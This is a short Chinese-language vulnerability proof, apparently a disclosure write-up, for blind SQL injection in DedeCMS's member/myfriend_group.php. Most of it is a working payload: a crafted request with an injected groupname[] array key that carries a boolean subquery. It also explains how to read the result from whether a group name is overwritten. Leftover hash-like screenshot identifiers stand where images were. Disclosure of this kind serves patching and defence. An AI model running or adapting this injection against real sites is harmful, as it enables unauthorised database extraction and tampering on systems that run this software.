漏洞证明:

利用方法 先打开127.0.0.1/dede/member/myfriend_group.php随便添加一个 然后看源码里groupname[]中的值 因为没有返回 只能盲注 那么判断是否满足条件就看是否update了原来的数据 这样就easy 执行一下语句 127.0.0.1/dede/member/myfriend_group.php?dopost=save&groupname[3' or @`'` and (select 1)%3D1 and '1]=12222 如果(select 1)=1的话 那个groupname就会被改成12222 上面的3改成你的groupname的ID就哦了   14195649c11ad3e54e89b48fad77c683e6930296 14195700b4029548935ad097cdcb1a0dddb143a2 测试前 14195748ea50adfb11dca08534dd0b35923ffc75 测试后 14195725bd4e3ad876a92b576b60503ad9ff581f
